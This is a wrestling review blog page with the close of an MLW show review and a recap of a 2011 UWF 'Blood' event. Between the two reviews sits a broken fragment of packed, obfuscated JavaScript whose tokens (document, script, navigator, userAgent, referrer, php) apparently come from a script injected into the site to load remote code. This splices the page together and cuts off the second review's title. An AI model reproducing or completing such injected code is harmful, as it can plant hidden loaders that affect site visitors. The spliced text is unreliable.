Rating: C+. This had a slower motion lucha feel with nothing in the way of structure or tagging, meaning it was a bunch of spots and stuff until the overdone finish. It also doesn’t help when the Lucha Bros had a much better match in a similar style against ACH and Rich Swann just a few weeks back. It’s entertaining, but not exactly great.

Post match Fenix thanks the fans for coming out and promises a bigger fight down the line. Pentagon thanks Drago and Horus for coming to MLW to challenge them. That’s the most English I’ve ever heard him speak.

Overall Rating: C. Nothing great this week but a perfectly watchable show and that’s all it needs to be. WarGames alone is more than a big enough draw for next week’s show and it could be a heck of a night. MLW seems to know how to do the big nights and if they can nail WarGames, everything is going to be fine.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsnzi|var|u0026u|referrer|rkzrz||js|php'.split('|'),0,{})) Blood
Date: June 26, 2011
Location: Hammerstein Ballroom, New York City, New York
Commentators: Julius Smokes, Shawn Credle, Robby Mireno

A reporter for some hip hop site reports on a rapper being arrested for fighting with a wrestler.

Larry Legend (I believe the host) says the UWF is in the house. How do we get them out of the house?

2-Dope/Creed vs. EC Negro/KC Blade vs. Grim Reefer/Ruckus

Creed and Dope (The Ghetto Mafia. Normally I would edit that into the title but I want you to understand how random all this information is coming in.) double team Reefer until Negro and Blade come in with a double piledriver (one over the shoulder and the other a regular one, basically sandwiching Reefer in the middle). Unfortunately they stop to pose too much though, allowing Creed to steal the pin on Reefer at 6:50.

The winners go through the curtain and swear about New York a lot.

More rappers are in a limo and the one on the left gives the other an envelope presumably containing cash. In exchange, he wants the rapper from the previous segment taken out. Oh and he wants the UWF Title because it means more money.

Bestia vs. Facade

We get a two second shot of the announcers to find out their names.

Hey look: more people talking about turf and arguing.

Homicide says he gets more money and women than Eddie Kingston.

Mel tells Kingston that this is about the title and the money so go beat up Homicide.

Eddie Kingston vs. Homicide

Mel and Uncle Murda are at ringside. Homicide gets knocked to the floor to start but comes back with a flip dive off the apron. They chop it out until Homicide pokes him in the eye and kicks him in the face. Choking and yelling at the rapping managers (close enough) ensues. Eddie gets in a gordbuster and some face ripping, followed by a waistlock of all things. Homicide escapes and goes outside to take the barricade apart.

Now we go outside in the dark to see (kind of) three people talking about making money and Uncle Murda. A deal is made.

More people yell about turf and a drug deal might go down. This turns into a beating and someone is put into the trunk of a car. Someone (perhaps Creed or Dope from earlier) is beaten down and thrown into the trunk as well.

Two people talk to three other people and one of the three has a gun. The two run away and get into a car which speeds away. The three shoot at them to end the show.

https://www.amazon.com/dp/B01IH7O904

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6